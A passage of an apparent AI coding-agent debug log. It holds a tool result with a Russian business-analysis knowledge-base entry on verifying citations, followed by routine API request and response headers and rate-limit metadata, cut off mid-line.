\u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435, \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0431\u0435\u0437 \u0440\u0435\u043d\u0434\u0435\u0440\u0435\u0440\u0430.\\n\u0413\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043c\u0430\u043a\u0435\u0442 \u043d\u0435 \u0432\u044b\u0431\u0440\u0430\u043d: \u0434\u0432\u0430 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0445 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u0430 \u0443\u0436\u0435 \u0437\u0430\u0434\u0430\u044e\u0442 \u0432\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u044b\u0439\\n\u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442, \u0430 issue \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442, \u043d\u0435 pixel-perfect \u0434\u0438\u0437\u0430\u0439\u043d.\\n\\n---\\nid: kb-source-backed-analysis\\nstatus: draft\\nversion: 0.1\\nupdated: 2026-06-16\\nai-generated: true\\ntype: kb-practice\\nscope: kb\\nsources:\\n  - \\\"https://www.iiba.org/career-resources/a-business-analysis-professionals-foundation-for-success/babok/\\\"\\n  - \\\"https://www.iso.org/standard/72089.html\\\"\\nrelated_issues:\\n  - \\\"https://github.com/G-Ivan-A/mango_ba_prompts/issues/97\\\"\\n---\\n\\n# \u041f\u0440\u0430\u043a\u0442\u0438\u043a\u0430: \u0430\u043d\u0430\u043b\u0438\u0437 \u0441 \u043e\u043f\u043e\u0440\u043e\u0439 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 (source-backed analysis)\\n\\n> \u0417\u0430\u043f\u0438\u0441\u044c KB. \u0420\u0435\u0433\u0443\u043b\u0438\u0440\u0443\u0435\u0442\u0441\u044f [kb-standard.md](../../standards/kb-standard.md).\\n> \u042d\u0442\u043e **\u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0430**, \u043d\u0435 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442: \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u0430\u0434\u0430\u043f\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c, \u043d\u043e \u0446\u0438\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u2014\\n> \u043f\u043e \u043f\u0440\u0430\u0432\u0438\u043b\u0430\u043c C1-C4.\\n\\n## \u041f\u0440\u0430\u0432\u0438\u043b\u043e\\n\\n\\n\u041a\u0430\u0436\u0434\u043e\u0435 **\u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u043e\u0435** \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 (\u0447\u0442\u043e-\u0442\u043e \u00ab\u0434\u043e\u043b\u0436\u043d\u043e/\u043e\u0431\u044f\u0437\u0430\u043d\u043e/\u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u2026\u00bb)\\n\u0441\u043e\u043f\u0440\u043e\u0432\u043e\u0436\u0434\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0439 \u0446\u0438\u0442\u0430\u0442\u043e\u0439 \u0438 **\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u044f** \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u0434\u043e\\n\u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u043d\u0435\u0433\u043e. \u0415\u0441\u043b\u0438 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u043d\u0435 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u2014 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u043d\u0435 \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a\\n\u0444\u0430\u043a\u0442, \u0430 \u043f\u043e\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f `needs-clarification`.\\n\\n## \u0427\u0435\u043a-\u043b\u0438\u0441\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\\n\\n1. \u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0440\u0435\u0430\u043b\u044c\u043d\u043e \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 (\u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u043e URL/\u0448\u0438\u0444\u0440\u0443)?\\n2. \u0423\u043a\u0430\u0437\u0430\u043d\u043d\u0430\u044f \u0440\u0435\u0434\u0430\u043a\u0446\u0438\u044f/\u0433\u043e\u0434 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0438\u043c\u0435\u043d\u043d\u043e \u0432 \u044d\u0442\u043e\u043c \u0432\u0438\u0434\u0435?\\n3. \u041f\u043e\u043b\u043d\u044b\u0439 URL \u043f\u0440\u0438\u0432\u0435\u0434\u0451\u043d (\u041d\u0424\u0422 \u0434\u043e\u043a\u0430\u0437\u0443\u0435\u043c\u043e\u0441\u0442\u0438)?\\n4. \u0423\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0438\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 (\u0430 \u043d\u0435 \u00ab\u0437\u0432\u0443\u0447\u0438\u0442 \u043f\u043e\u0445\u043e\u0436\u0435\u00bb)?\\n\\n## \u041f\u043e\u0447\u0435\u043c\u0443 (\u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435)\\n\\n- BABOK Guide v3 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0441\u0442\u0438 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u043a \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c:\\n  \\n- ISO/IEC/IEEE 29148:2018 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u00abverifiable\u00bb \u0438 \u00abtraceable\u00bb \u0432 \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u0438\u0441\u0442\u0438\u043a\u0438\\n  \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0430 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439: \\n\\n## \u0410\u043d\u0442\u0438-\u043f\u0440\u0438\u043c\u0435\u0440 (\u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439)\\n\\n\u0428\u0438\u0444\u0440 **\u00ab\u0413\u041e\u0421\u0422 34.602-2015\u00bb \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442** \u2014 \u0435\u0441\u0442\u044c \u0440\u0435\u0434\u0430\u043a\u0446\u0438\u0438 -89 \u0438 -2020. \u0426\u0438\u0442\u0430\u0442\u0430 \u043d\u0430\\n\u043d\u0435\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0443\u044e \u0440\u0435\u0434\u0430\u043a\u0446\u0438\u044e \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u0448\u0430\u0433 2 \u0447\u0435\u043a-\u043b\u0438\u0441\u0442\u0430 \u0441\u043e \u0441\u0442\u0430\u0442\u0443\u0441\u043e\u043c \u00ab\u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e\u00bb \u0438\\n**\u043e\u0442\u043a\u043b\u043e\u043d\u044f\u0435\u0442\u0441\u044f**. \u0414\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0430\u044f \u0440\u0435\u0434\u0430\u043a\u0446\u0438\u044f:\\n[\u0413\u041e\u0421\u0422 34.602-2020](https://docs.cntd.ru/document/1200181804).\\n\\n## \u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438\\n\\n- BABOK Guide v3: \\n- ISO/IEC/IEEE 29148:2018: \\n- \u0413\u041e\u0421\u0422 34.602-2020: \",\n[2026-09-29T07:46:20.022Z] [INFO]         \"is_error\": false\n[2026-09-29T07:46:20.022Z] [INFO]       }\n[2026-09-29T07:46:20.022Z] [INFO]     ]\n[2026-09-29T07:46:20.022Z] [INFO]   },\n[2026-09-29T07:46:20.022Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:46:20.022Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:20.022Z] [INFO]   \"uuid\": \"cc5c9339-e24d-41e8-91f3-3e43b4c69a9f\",\n[2026-09-29T07:46:20.022Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:18.864Z\",\n[2026-09-29T07:46:20.022Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:20.022Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:46:20.022Z] [INFO] }\n[2026-09-29T07:46:20.031Z] [STDOUT] [log_f389f8] sending request {\n[2026-09-29T07:46:20.035Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:46:20.037Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:20.040Z] [STDOUT]   options: {\n[2026-09-29T07:46:20.043Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:46:20.051Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:46:20.057Z] [STDOUT]     body: {\n[2026-09-29T07:46:20.060Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:46:20.063Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:46:20.066Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:46:20.068Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:46:20.070Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:46:20.071Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:46:20.075Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:46:20.079Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:46:20.084Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:46:20.087Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:46:20.095Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:46:20.101Z] [STDOUT]       stream: true,\n[2026-09-29T07:46:20.109Z] [STDOUT]     },\n[2026-09-29T07:46:20.111Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:46:20.115Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:46:20.117Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:46:20.120Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:46:20.127Z] [STDOUT]       aborted: false,\n[2026-09-29T07:46:20.131Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:46:20.150Z] [STDOUT]       onabort: null,\n[2026-09-29T07:46:20.163Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:46:20.166Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:46:20.205Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:46:20.210Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:46:20.216Z] [STDOUT]     },\n[2026-09-29T07:46:20.224Z] [STDOUT]     stream: true,\n[2026-09-29T07:46:20.227Z] [STDOUT]   },\n[2026-09-29T07:46:20.232Z] [STDOUT]   headers: {\n[2026-09-29T07:46:20.236Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:46:20.239Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:46:20.242Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:46:20.247Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:46:20.254Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:46:20.260Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:46:20.263Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:46:20.266Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:46:20.273Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:46:20.279Z] [STDOUT]     \"x-claude-code-agent-id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:46:20.282Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:46:20.286Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1400\",\n[2026-09-29T07:46:20.292Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:46:20.298Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:46:20.307Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:20.318Z] [STDOUT]     \"x-client-request-id\": \"5aa6c6ce-5008-449d-a922-3e73fb19607c\",\n[2026-09-29T07:46:20.327Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:46:20.332Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:46:20.335Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:46:20.338Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:46:20.340Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:46:20.344Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:46:20.348Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:46:20.351Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:46:20.354Z] [STDOUT]   },\n[2026-09-29T07:46:20.359Z] [STDOUT] }\n[2026-09-29T07:46:20.363Z] [STDOUT] [log_2d43f8, request-id: \"req_011CfXMphwVUYQVZ2K7oC1NB\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 917ms\n[2026-09-29T07:46:20.366Z] [STDOUT] [log_2d43f8] response start {\n[2026-09-29T07:46:20.372Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:20.378Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:20.382Z] [STDOUT]   headers: {\n[2026-09-29T07:46:20.385Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:20.390Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:20.393Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:20.396Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:46:20.403Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:20.406Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:20.410Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:20.412Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:20.416Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:20.421Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:20.425Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:20.428Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:20.430Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:20.439Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:20.444Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:20.447Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:20.454Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:20.457Z] [STDOUT]     \"cf-ray\": \"a4295f90ca3b4d8b-FRA\",\n[2026-09-29T07:46:20.461Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:20.466Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:20.471Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:20.474Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:20.478Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:46:19 GMT\",\n[2026-09-29T07:46:20.484Z] [STDOUT]     \"request-id\": \"req_011CfXMphwVUYQVZ2K7oC1NB\",\n[2026-09-29T07:46:20.487Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:46:20.489Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:20.495Z] [STDOUT]     traceresponse: \"00-03e73aaa98b686d5a61c9aafdb3c4a5c-2f091ef8491d2a7a-01\",\n[2026-09-29T07:46:20.501Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:20.506Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:46:20.511Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:20.514Z] [STDOUT]   },\n[2026-09-29T07:46:20.520Z] [STDOUT]   durationMs: 917,\n[2026-09-29T07:46:20.530Z] [STDOUT] }\n[2026-09-29T07:46:20.537Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:46:20.542Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:46:19 GMT\",\n[2026-09-29T07:46:20.546Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:20.549Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:20.551Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:46:20.553Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:20.557Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:20.561Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:20.565Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:46:20.570Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:20.575Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:20.578Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:20.584Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:20.588Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:20.591Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:46:20.596Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:20.600Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:20.615Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:20.618Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:20.620Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:20.626Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:20.630Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:20.636Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:20.639Z] [STDOUT]   \"request-id\": \"req_011CfXMphwVUYQVZ2K7oC1NB\",\n[2026-09-29T07:46:20.643Z] [STDOUT]   \"traceresponse\": \"00-03e73aaa98b686d5a61c9aafdb3c4a5c-2f091ef8491d2a7a-01\",\n[2026-09-29T07:46:20.647Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:20.653Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:20.657Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:46:20.659Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:20.663Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:20.665Z] [STDOUT]   \"cf-ray\": \"a4295f90ca3b4d8b-FRA\",\n[2026-09-29T07:46:20.670Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:46:20.673Z] [STDOUT] [log_2d43f8] response parsed {\n[2026-09-29T07:46:20.676Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:20.681Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:20.686Z] [STDOUT]   body: X {\n[2026-09-29T07:46:20.688Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:46:20.691Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:46:20.703Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:46:20.716Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:46:20.720Z] [STDOUT]     },\n[2026-09-29T07:46:20.725Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:46:20.735Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:46:20.738Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:46:20.741Z] [STDOUT]   },\n[2026-09-29T07:46:20.749Z] [STDOUT]   durationMs: 918,\n[2026-09-29T07:46:20.754Z] [STDOUT] }\n[2026-09-29T07:46:20.762Z] [STDOUT] [log_f389f8, request-id: \"req_011CfXMpkKrqZVTNvVK5fx3W\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 888ms\n[2026-09-29T07:46:20.769Z] [STDOUT] [log_f389f8] response start {\n[2026-09-29T07:46:20.774Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:20.777Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:20.780Z] [STDOUT]   headers: {\n[2026-09-29T07:46:20.784Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:20.788Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:20.792Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:20.799Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:46:20.804Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:20.813Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:20.818Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:20.826Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:20.828Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:20.830Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:20.832Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:20.835Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:20.838Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:20.842Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:20.847Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:20.853Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:20.856Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:20.860Z] [STDOUT]     \"cf-ray\": \"a4295f94398e29ad-FRA\",\n[2026-09-29T07:46:20.865Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:20.869Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:20.872Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:20.877Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:20.879Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:46:19 GMT\",\n[2026-09-29T07:46:20.881Z] [STDOUT]     \"request-id\": \"req_011CfXMpkKrqZVTNvVK5fx3W\",\n[2026-09-29T07:46:20.884Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:46:20.887Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:20.888Z] [STDOUT]     traceresponse: \"00-aa913496c4df5341652a7e6f85f70ba1-bea15a70333580d1-01\",\n[2026-09-29T07:46:20.895Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:20.898Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:46:20.900Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:20.903Z] [STDOUT]   },\n[2026-09-29T07:46:20.905Z] [STDOUT]   durationMs: 888,\n[2026-09-29T07:46:20.908Z] [STDOUT] }\n[2026-09-29T07:46:20.916Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:46:20.920Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:46:19 GMT\",\n[2026-09-29T07:46:20.925Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:20.933Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:20.944Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:46:20.949Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:20.954Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:20.964Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:20.972Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:46:20.980Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 